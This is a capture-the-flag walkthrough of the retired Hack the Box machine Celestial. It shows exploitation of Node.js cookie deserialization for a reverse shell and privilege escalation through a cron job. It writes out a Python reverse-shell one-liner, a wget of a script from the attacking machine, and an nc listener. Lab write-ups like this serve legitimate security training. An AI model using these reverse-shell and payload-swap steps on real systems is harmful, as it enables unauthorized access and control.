Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Celestial

Security Ninja
December 3, 2019 by
Security Ninja

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Celestial.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

Enjoy CTFs? Take our challenge!

Enjoy CTFs? Take our challenge!

Test your hands-on skills, earn bragging rights and win your share of $1,000+ in prizes. Do you accept the challenge?

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Celestial, is retired.

The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Celestial machine IP is

3. We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.

4. As usual, let’s start with the nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Celestial>>

5. As we can see, only port 3000 is listed with Node.js on it. Let’ start enumerating this.

6. Below is the message that we received after browsing port 3000.

7. Let’s start Burp and see if something interesting is going on in the requests.

8. It looks like there is a cookie set named “profile.” The end of its value is rather interesting since %3D%3D is ==.

9. Copying and base64-decoding that reveals the following JSON. From the cookie decoded value, it looks like the cookie value is parsed and presented, which is “2” here. Along the same lines, there was a famous node serialization/deserialization vulnerability. More details on this can be found here.

10. Let’s follow that same article and build the exploit. Download the from here.

11. Below are the command parameters for running Parameters should be the IP of attacking machine and reverse shell port.

12. After that, insert this as a cookie value and base64-encode it as shown below.

13. Fire the request, and the reverse shell will be spawned.

14. Upgrade the shell and grab the user.txt flag
<<cat user.txt>>

15. Now let’s try to escalate privileges as well. After much enumeration, we found an interesting cron job log in /var/log/syslog which runs every five minutes and picks up from the user “sun” directory. Interestingly, our current user is the same.
<<cat /var/log/syslog>>

16. Since all the cards are out, let’s build a simple Python reverse shell, host it on our attacking machine,  download on the victim and set up an nc listener.

  • Python reverse shell
    <<import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);>>
  • Moving the current script from the user “sun”

    <<mv ~>>

  • We download the new from the attacker machine.

    <<wget http://<attacking machine IP>/ . >>

  • We set up the nc listener, and after five minutes, the reverse shell will be given.

    <<nc -nlvp 4422>>

17. Enumerate to grab the root.txt file.

<<cat root.txt>>

This was a straightforward box with an initial foothold that came from a platform vulnerability, and escalation was purely based on enumeration.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

We will continue this series with many more interesting HTB machines.

Security Ninja
Security Ninja

THE PLANETS EARTH: CTF walkthrough, part 1

EMPIRE BREAKOUT: VulnHub CTF walkthrough

JANGOW: 1.0.1: CTF walkthrough